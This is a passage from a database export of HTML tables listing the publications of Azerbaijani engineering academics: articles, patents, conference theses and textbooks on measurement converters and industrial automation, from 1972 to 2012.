промышленных объектов</p></td><td width=\"102\"><p>Обзорный</p><p>материал</p></td><td width=\"84\"><p>Абдуллаев И.М.</p><p>Абдурагимов Ф.А.</p></td><td width=\"102\"><p>Обзорная информация, серия «Авто-матика и приборостроение», Баку, АзНИИНТИ, 1987</p></td><td width=\"60\"><p>1987</p></td><td width=\"60\"><p>26</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>&nbsp;</p><p>Лабораторные работы по курсу «Электрические измерения и информационные устройства роботов»</p></td><td width=\"102\"><p>Методическое посовие</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Баку, изд-во АзПИ, 1987</p></td><td width=\"60\"><p>1987</p></td><td width=\"60\"><p>42</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>An approach to the architecture of Automatized measuring-computing systems used for electric power quality control</p></td><td width=\"102\"><p>Material of seminar</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>&nbsp;</p><p>Abstracts.&nbsp; Seminar of Intelligent Measurement Systems, Budapest Technical University, 1990</p></td><td width=\"60\"><p>1990</p></td><td width=\"60\"><p>12</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>&nbsp;</p><p>Структурные и алгоритмические принципы построения микропроцессорных измерительно-вычислительных устройств параметров электроэнергетических объектов</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Сб. «Микропроцессорные системы и средства управления в технических системах», Баку, 1992</p></td><td width=\"60\"><p>1992</p></td><td width=\"60\"><p>5</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Использование принципа развертывающего преобразования при измерении действующего значения переменного напряжения инфранизкой частоты</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>&nbsp;</p></td><td width=\"102\"><p>Сб. «Информационно-измерительная техника», вып. 19, Пенза, 1992</p></td><td width=\"60\"><p>1992</p></td><td width=\"60\"><p>5</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>К вопросу проектирования&nbsp; систем автоматизации процесса резания на металлорежущих станках</p></td><td width=\"102\"><p>Материалы</p><p>семинара</p></td><td width=\"84\"><p>Джафаров Э.М.</p></td><td width=\"102\"><p>Материалы Республиканского научно-методического семинара «Методология САПР в машино-строении», Баку, 1993</p></td><td width=\"60\"><p>1993</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Устройство автоматического контроля нагрузки на валу по потребляемой мощности главным двигателем металлорежущего станка</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>«Ученые записки АзТУ», №2, 1993</p></td><td width=\"60\"><p>1993</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Universal automatic control system of industrial objects microprocessor-based&nbsp; hard wares</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Abstracts. The first National Congress on the Development in Collaborations between Industries and Edicational/Research&nbsp; Centres, Tabriz University, Iran, 1993</p></td><td width=\"60\"><p>1993</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>О расширении функциональных возможностей интегрирующих преобра-зователей&nbsp; напряжения в интервал времени</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>«Ученые записки АзТУ», №1, 1996</p></td><td width=\"60\"><p>1996</p></td><td width=\"60\"><p>7</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Информационное обеспечение систем&nbsp;&nbsp; автоматического управления техноло-гическими&nbsp; процессами металлообработки на основе микропроцессорных средств</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>«Ученые записки АзТУ», №1, 1997</p></td><td width=\"60\"><p>1997</p></td><td width=\"60\"><p>3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Построение автоматизированной измерительно-вычислительной системы&nbsp; контроля промышленных объектов</p></td><td width=\"102\"><p>&nbsp;</p><p>тезис</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"84\"><p>Гурбанов Т.Б.</p><p>Намазов М.Б.</p></td><td width=\"102\"><p>Тезисы докладов Международной научно-технической конференции «Актуальные проблемы пищевой, легкой промышленности и сферы обслуживания», Гянджа,1999</p></td><td width=\"60\"><p>1999</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Применение одного вида аппроксимации</p><p>нелинейных характеристик&nbsp; для построения функциональных преобразователей</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>«Ученые записки АзТУ», №2, 1999</p></td><td width=\"60\"><p>1999</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>&nbsp;</p><p>Техники системлярдя информасийа- юлчмя гурьулары (Али мяктябляр цчцн дярслик)</p></td><td width=\"102\"><p>&nbsp;</p><p>Dərslik</p></td><td width=\"84\"><p>Гурбанов Т.Б.</p><p>Намазов М.Б</p></td><td width=\"102\"><p>«Елм» няшриййаты, Бакы, 2000</p></td><td width=\"60\"><p>2000</p></td><td width=\"60\"><p>302</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Многофункциональные интегрирующие АЦП систем контроля и управления</p></td><td width=\"102\"><p>Материалы докладов</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Материалы докладов 47-й юбилейной научно-технической&nbsp; конференции, частьП, АзТУ, 2000</p></td><td width=\"60\"><p>2000</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Металкясмя системляриндя информасийаны дахилетмя алтсистеми</p></td><td width=\"102\"><p>tezis</p></td><td width=\"84\"><p>Нагвердийев А.Т.</p></td><td width=\"102\"><p>АзТУ-нун 45-жи ТЕТК-нын мярузяляринин тезисляри, Бакы, 2002</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Метал емалы&nbsp; просесляринин идаря едилмяси цчцн информасийа мянбяляринин анализи вя сечилмяси</p></td><td width=\"102\"><p>&nbsp;tezis</p></td><td width=\"84\"><p>Ряжябов Ф.А.</p></td><td width=\"102\"><p>АзТУ-нун 46-жы ТЕТК-нын мярузяляринин тезисляри, Бакы, 2003</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Некоторые вопросы построения систем автоматического контроля&nbsp; ТП металлообработки</p></td><td width=\"102\"><p>Материалы конференции</p></td><td width=\"84\"><p>Мамедов Г.А.</p></td><td width=\"102\"><p>Материалы научно-практической конференции, Баку, 2003</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Верижиляр системи</p></td><td width=\"102\"><p>Dərs vəsaiti</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>«Шур» няшриййаты, Бакы, 2003</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>201</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Метал емалы системляриндя буружу момент щаггында информасийанын илкин емалы алтсистеми</p></td><td width=\"102\"><p>Konfransın materialları</p></td><td width=\"84\"><p>Нябийев Е.А.</p></td><td width=\"102\"><p>Али мяктяб тялябяляринин ХЫХ Республика елми конфрансынын материаллары, Бакы, 2003</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Методические указания к лабораторным работам по дисциплине «Элементы и устройства систем управления»</p></td><td width=\"102\"><p>Методическoе</p><p>пособие</p></td><td width=\"84\"><p>Намазов М.Б.</p><p>Гасымов А.Ю.</p></td><td width=\"102\"><p>Баку, АзТУ, 2004</p></td><td width=\"60\"><p>2004</p></td><td width=\"60\"><p>44</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>«Идаряетмя системляринин схемотехникасы» фянниндян лабораторийа ишляринин йериня йетирилмясиня даир методики эюстяриш</p></td><td width=\"102\"><p>методики эюстяриш</p></td><td width=\"84\"><p>Гасымов А.Й.</p><p>Аширов З.П.</p></td><td width=\"102\"><p>Бакы, АзТУ, 2005</p></td><td width=\"60\"><p>2005</p></td><td width=\"60\"><p>85</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Металкясян дязэащда емал олунан деталын юлчцляриня автоматик нязарят алтсистеми</p></td><td width=\"102\"><p>&nbsp;тезис</p></td><td width=\"84\"><p>Пирийев Е.М.</p></td><td width=\"102\"><p>АзТУ-нун 48-жи ТЕТК-нын мярузяляринин тезисляри, Бакы, 2005</p></td><td width=\"60\"><p>2005</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Некоторые вопросы построения функциональных преобразователей подсистем предварительной обработки информации&nbsp; в АСУ ТП</p></td><td width=\"102\"><p>конфрансын материаллары</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Профессор-мцяллим щейятинин вя аспирантларын АзТУ-нун 55 иллийиня щяср едилмиш елми конфрансын материаллары, Бакы, АзТУ, 2005</p></td><td width=\"60\"><p>2005</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>«Идаряетмя системляринин елемент вя гурьулары» (Али мяктябляр цчцн дярслик)</p></td><td width=\"102\"><p>&nbsp;</p><p>Dərslik</p></td><td width=\"84\"><p>Мяммядов Щ Я.</p></td><td width=\"102\"><p>«Елм» няшриййаты», Бакы, 2006</p></td><td width=\"60\"><p>2006</p></td><td width=\"60\"><p>221</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Подсистема автоматического контроля температурного режима на металло-режущих станках</p></td><td width=\"102\"><p>Материалы конференции</p></td><td width=\"84\"><p>Мамедов Г.А.</p></td><td width=\"102\"><p>Материалы научно-технической конференции, Баку, АзТУ, 2008</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Keyfiyyətə nəzarət,diaqnostika üsul və cihazları</p></td><td width=\"102\"><p>Metodik göstərişlər</p></td><td width=\"84\"><p>Əfəndiyev O.Z.</p><p>Kərimli T.İ.</p><p>Fərhadov V.Q.</p></td><td width=\"102\"><p>Bakı, MAA,</p><p>2008</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>24</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Avtomatlaşdırmanın əsasları (ali məktəblər üçün dərslik)</p></td><td width=\"102\"><p>Dərslik</p></td><td width=\"84\"><p>Məmmədov H.Ə.</p><p>Namazov M.B.</p></td><td width=\"102\"><p>Bakı, Elm,</p><p>2009</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>461</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Подсистема получе-ния информации о температуре нагрева обмотки электро-двигателя</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>Əfəfndi-yev O.Z.</p></td><td width=\"102\"><p>Milli Aviasiya Akademiyasının Elmi əsərləri №2(2)</p><p>Bakı,2009</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>7</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Metal emalı sistemlərində informasiyanı avtomatik daxiletmə altsistemi</p></td><td width=\"102\"><p>konfrans</p><p>materialları</p></td><td width=\"84\"><p>Əliyev K.K.</p><p>&nbsp;</p></td><td width=\"102\"><p>AzTU-nun 53-cü TETK materialları,AzTU,2010</p></td><td width=\"60\"><p>2010</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\">&nbsp;Юлчмя техникасынын ясаслары (Али мяктябляр цчцн дярслик)</td><td width=\"102\"><p>Dərslik</p></td><td width=\"84\"><p>Мяммядов Щ.Я.</p><p>&nbsp;</p></td><td width=\"102\"><p>Бакы, 2011</p></td><td width=\"60\"><p>2011</p></td><td width=\"60\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p>292</p></td></tr></tbody></table></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><div><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p>Юлчмя техникасынын ясаслары</p></td></tr></tbody></table></div>(Дярс вясаити)</td><td width=\"102\"><p>Dərslik</p></td><td width=\"84\"><div><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p>НязярхановЯ.Т.</p><p>Фярщадов В.Г.</p></td></tr></tbody></table></div>Исмайылов Н.М<p>&nbsp;</p></td><td width=\"102\"><p>Бакы, МАА,2011</p></td><td width=\"60\"><p>2011</p></td><td width=\"60\"><p>196</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p>Подсистема получения&nbsp; и обра-ботки информации о силовых характеристиках процесса резания</p></td></tr></tbody></table></td><td width=\"102\"><p>konfrans</p><p>materialları</p></td><td width=\"84\"><p>&nbsp;</p><p>Кулиева Г.С.</p><p>&nbsp;</p></td><td width=\"102\"><p>AzTU-nun 53-cü TETK materialları,AzTU,2011</p></td><td width=\"60\"><p>2011</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Получение и и обработка информации для управления ходом технологического процесса металлообработки</p></td><td width=\"102\"><p>Елми ясярляр</p></td><td width=\"84\"><p>Мяммядов Щ.Я..</p><p>&nbsp;</p></td><td width=\"102\"><div><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p>Елми ясярляр, №2, АзТУ, 2011, (Бейнялхалг E/T конф.&nbsp; «Мцасир информасийа вя коммуникасийа технол. инкишаф&nbsp; перспективляри»,</p></td></tr></tbody></table></div>Бакы, Елм,2011)</td><td width=\"60\"><p>2010</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><div><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p>К вопросу построения систем автоматического контроля пара-</p></td></tr></tbody></table></div>метров процесса механообра-ботки</td><td width=\"102\"><p>---</p></td><td width=\"84\"><p>Мяммядов Щ.Я.</p><p>&nbsp;</p></td><td width=\"102\"><p>«Автоматика вя идаряетмянин мцасир проблем-ляри» Республика елми-техники конф. материал-лары,Бакы, 2012</p></td><td width=\"60\"><p>2012</p></td><td width=\"60\"><p>3</p></td></tr></tbody></table>  <br></div>'),(1297,829,'az','Ramiz Ahmadov','Ramiz Ahmadov','<div><br></div><div> <div><table cellspacing=\"0\" cellpadding=\"0\" width=\"606\" style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td width=\"31\"><p style=\"background:undefined \">#</p></td><td width=\"167\"><p style=\"background:undefined \"><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Publications type/publication activities</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Устройство для автоматической периодической откачки жидкости из малодебитных глубиннонасосных нефтяных скважин</p></td><td width=\"102\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">статья</p></td><td width=\"84\"><p style=\"background:undefined \">Набиев И.А.</p><p style=\"background:undefined \">Рустамов Н.С.</p><p style=\"background:undefined \">Савин Ю.А.</p></td><td width=\"102\"><p style=\"background:undefined \">«Ученые записки» АзИНЕФТЕХИМа,серия 1Х, №4, 1972</p></td><td width=\"60\"><p style=\"background:undefined \">1972</p></td><td width=\"60\"><p style=\"background:undefined \">4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">К вопросу дискретизации процесса&nbsp; преоб-разования интегральных характеристик сигналов переменного тока произвольной формы</p></td><td width=\"102\"><p style=\"background:undefined \">статья</p></td><td width=\"84\"><p style=\"background:undefined \">Исмаилов Ш.Ю.</p><p style=\"background:undefined \">Абдуллаев И.М.</p></td><td width=\"102\"><p style=\"background:undefined \">«Ученые записки» АзИНЕФТЕХИМа,серия 1Х, №1, 1975</p></td><td width=\"60\"><p style=\"background:undefined \">1975</p></td><td width=\"60\"><p style=\"background:undefined \">5</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Анализ методической погрешности преоб-разования интегральных характеристик периодических сигналов</p></td><td width=\"102\"><p style=\"background:undefined \">статья</p></td><td width=\"84\"><p style=\"background:undefined \">Абдуллаев И.М.</p></td><td width=\"102\"><p style=\"background:undefined \">«Ученые записки» АзИНЕФТЕХИМа,серия 1Х, №6, 1975</p></td><td width=\"60\"><p style=\"background:undefined \">1975</p></td><td width=\"60\"><p style=\"background:undefined \">6</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Преобразователь действующего значения периодического напряжения в цифровой код</p></td><td width=\"102\"><p style=\"background:undefined \">тезис</p></td><td width=\"84\"><p style=\"background:undefined \">Исмаилов Ш.Ю.</p><p style=\"background:undefined \">Абдуллаев И.М.</p></td><td width=\"102\"><p style=\"background:undefined \">Тезисы докладов Всесоюзной конференции «ИИС-75», т.2, Кишинев, 1975</p></td><td width=\"60\"><p style=\"background:undefined \">1975</p></td><td width=\"60\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Аналого-цифровой преобразователь мощности и действующего значения переменного напряжения</p></td><td width=\"102\"><p style=\"background:undefined \">патент</p></td><td width=\"84\"><p style=\"background:undefined \">Исмаилов Ш.Ю.</p><p style=\"background:undefined \">Абдуллаев И.М.</p></td><td width=\"102\"><p style=\"background:undefined \">Авторское свидетельство СССР,</p><p style=\"background:undefined \">№499662, Бюллетень изобретений, №2, Москва, 1976</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"60\"><p style=\"background:undefined \">1976</p></td><td width=\"60\"><p style=\"background:undefined \">3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Функциональный аналого-цифровой преобразователь на интегральных микросхемах</p></td><td width=\"102\"><p style=\"background:undefined \">статья</p></td><td width=\"84\"><p style=\"background:undefined \">Абдуллаев И.М.</p></td><td width=\"102\"><p style=\"background:undefined \">Приборы и техника эксперимента,</p><p style=\"background:undefined \">№2, АН СССР,&nbsp; Москва, 1976</p></td><td width=\"60\"><p style=\"background:undefined \">1976</p></td><td width=\"60\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">A functional analog-digital converter based on integrated microcircuits</p></td><td width=\"102\"><p style=\"background:undefined \">article</p></td><td width=\"84\"><p style=\"background:undefined \">Abdullaev I.M.</p><p style=\"background:undefined \">Akhmedov R.M.</p></td><td width=\"102\"><p style=\"background:undefined \">Plenum Publishing Corporation, New</p><p style=\"background:undefined \">York, 1976</p></td><td width=\"60\"><p style=\"background:undefined \">1976</p></td><td width=\"60\"><p style=\"background:undefined \">3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Функциональный генератор &nbsp;автоматической установки для контрольных испытаний электродвигателей</p></td><td width=\"102\"><p style=\"background:undefined \">статья</p></td><td width=\"84\"><p style=\"background:undefined \">---</p></td><td width=\"102\"><p style=\"background:undefined \">Техническая информация, серия «Энергетика и автоматика»</p><p style=\"background:undefined \">№ 12, 1977</p></td><td width=\"60\"><p style=\"background:undefined \">1977</p></td><td width=\"60\"><p style=\"background:undefined \">4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Разработка и исследование измерительных преобразователей интегральных характеристик сигналов переменного тока произвольной</p></td><td width=\"102\"><p style=\"background:undefined \">тезис</p></td><td width=\"84\"><p style=\"background:undefined \">Мамедов Н.Я.</p><p style=\"background:undefined \">Эфендиев С.Т.</p></td><td width=\"102\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Тезисы докладов Всесоюзной конференции&nbsp; «ИИС-77», т.2, Баку, 1977</p></td><td width=\"60\"><p style=\"background:undefined \">1977</p></td><td width=\"60\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Некоторые вопросы создания измерительных преобразователей сигналов переменного тока инфранизкой частоты</p></td><td width=\"102\"><p style=\"background:undefined \">тезис</p></td><td width=\"84\"><p style=\"background:undefined \">---</p></td><td width=\"102\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Тезисы докладов 1 Закавказской конференции&nbsp; Молодых ученых и аспирантов «Разработка и внедрение АСУ ТП в цветной и черной металлургии , химической и др.отраслях промышленности», Диижан, 1977</p></td><td width=\"60\"><p style=\"background:undefined \">1977</p></td><td width=\"60\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Исследование,разработка и изготовление образца быстродействующего регистри-рующего прибора для измерения напряжения, тока и мощности при кон-трольных испытаниях электродвигателей мощностью до 100 квт</p></td><td width=\"102\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"84\"><p style=\"background:undefined \">Набиев И.А.</p><p style=\"background:undefined \">Абдуллаев И.М.</p><p style=\"background:undefined \">Абиев А.Н.</p></td><td width=\"102\"><p style=\"background:undefined \">Отчет НИР, № Гос.регистрации 77031917, Баку, 1976</p></td><td width=\"60\"><p style=\"background:undefined \">1976</p></td><td width=\"60\"><p style=\"background:undefined \">120</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Функциональный преобразователь</p><p style=\"background:undefined \">«напряжение-частота»</p></td><td width=\"102\"><p style=\"background:undefined \">статья</p></td><td width=\"84\"><p style=\"background:undefined \">Абдуллаев И.М.</p></td><td width=\"102\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Приборы и техника эксперимента,</p><p style=\"background:undefined \">№5, АН СССР, Москва, 1978</p></td><td width=\"60\"><p style=\"background:undefined \">1978</p></td><td width=\"60\"><p style=\"background:undefined \">3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Измерение коэффициента нелинейных искажений инфранизкочастотных сигналов для систем контроля параметров электронных устройств</p></td><td width=\"102\"><p style=\"background:undefined \">статья</p></td><td width=\"84\"><p style=\"background:undefined \">---</p></td><td width=\"102\"><p style=\"background:undefined \">В сб. «Системы контроля параметров электронных устройств», Киев, 1978</p></td><td width=\"60\"><p style=\"background:undefined \">1978</p></td><td width=\"60\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Универсальный цифровой прибор для измерения параметров сигналов переменного тока</p></td><td width=\"102\"><p style=\"background:undefined \">тезис</p></td><td width=\"84\"><p style=\"background:undefined \">Исмаилов Ш.Ю.</p><p style=\"background:undefined \">Абдуллаев И.М.</p></td><td width=\"102\"><p style=\"background:undefined \">Тезисы докладов Всесоюзной конференции «Методы и средства аналого-цифрового преобразования параметров электрических сигналов и цепей», Пенза, 1978</p></td><td width=\"60\"><p style=\"background:undefined \">1978</p></td><td width=\"60\"><p style=\"background:undefined \">3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Принципы построения функциональных АЦП переменного тока инфранизкой частоты</p></td><td width=\"102\"><p style=\"background:undefined \">тезис</p></td><td width=\"84\"><p style=\"background:undefined \">---</p></td><td width=\"102\"><p style=\"background:undefined \">Тезисы докладов1 Республиканской научной конференции аспирантов вузов Азербайджана, Баку, 1978</p></td><td width=\"60\"><p style=\"background:undefined \">1978</p></td><td width=\"60\"><p style=\"background:undefined \">1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Об одном методе преобразования активной мощности в цифровой код</p></td><td width=\"102\"><p style=\"background:undefined \">тезис</p></td><td width=\"84\"><p style=\"background:undefined \">---</p></td><td width=\"102\"><p style=\"background:undefined \">Тезисы докладов П Республиканской научной конференции аспирантов&nbsp; вузов Азербайджана, Баку, 1979</p></td><td width=\"60\"><p style=\"background:undefined \">1979</p></td><td width=\"60\"><p style=\"background:undefined \">1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Сравнительный анализ характеристик некоторых структур интегрирующих АЦП переменного тока</p></td><td width=\"102\"><p style=\"background:undefined \">тезис</p></td><td width=\"84\"><p style=\"background:undefined \">Абдуллаев И.М.</p><p style=\"background:undefined \">Дадашева Ф.Ш.</p></td><td width=\"102\"><p style=\"background:undefined \">Тезисы докладов Всесоюзной конференции «ИИС-79», Ленинград,&nbsp; 1979</p></td><td width=\"60\"><p style=\"background:undefined \">1979</p></td><td width=\"60\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Преобразователь активной мощности трехфазной электрической цепи в цифровой код</p></td><td width=\"102\"><p style=\"background:undefined \">патент</p></td><td width=\"84\"><p style=\"background:undefined \">Исмаилов Ш.Ю.</p><p style=\"background:undefined \">Абдуллаев И.М.</p><p style=\"background:undefined \">Абиев А.Н.</p></td><td width=\"102\"><p style=\"background:undefined \">Авторское свидетельство СССР,</p><p style=\"background:undefined \">№855518, Бюллетень изобретений, №30, Москва, 1981</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"60\"><p style=\"background:undefined \">1981</p></td><td width=\"60\"><p style=\"background:undefined \">4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Аналого-цифровой преобразователь</p></td><td width=\"102\"><p style=\"background:undefined \">патент</p></td><td width=\"84\"><p style=\"background:undefined \">---</p></td><td width=\"102\"><p style=\"background:undefined \">Авторское свидетельство СССР,</p><p style=\"background:undefined \">№894861, Бюллетень изобретений, №48, Москва,1981</p></td><td width=\"60\"><p style=\"background:undefined \">1981</p></td><td width=\"60\"><p style=\"background:undefined \">4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Анализ динамической погрешности аналого-цифрового преобразования мгновенных значений при измерении действующего значения напряжения инфранизких частот</p></td><td width=\"102\"><p style=\"background:undefined \">Материалы конференции</p></td><td width=\"84\"><p style=\"background:undefined \">---</p></td><td width=\"102\"><p style=\"background:undefined \">Материалы Ш Республиканской научной конференции аспирантов вузов&nbsp; Азербайджана, Баку, 1981</p></td><td width=\"60\"><p style=\"background:undefined \">1981</p></td><td width=\"60\"><p style=\"background:undefined \">5</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Методы и средства измерения переменного напряжения на инфранизких частотах</p></td><td width=\"102\"><p style=\"background:undefined \">статья</p></td><td width=\"84\"><p style=\"background:undefined \">---</p></td><td width=\"102\"><p style=\"background:undefined \">Элементы автоматики и измерительные информационные системы. Тематический сб. научных трудов, Баку, 1982</p></td><td width=\"60\"><p style=\"background:undefined \">1982</p></td><td width=\"60\"><p style=\"background:undefined \">7</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p style=\"background:undefined \">Вопросы построения автоматизированных информационно-измерительных систем контроля качества электроэнергии</p></td><td width=\"102\"><p style=\"background:undefined \">статья</p></td><td width=\"84\"><p 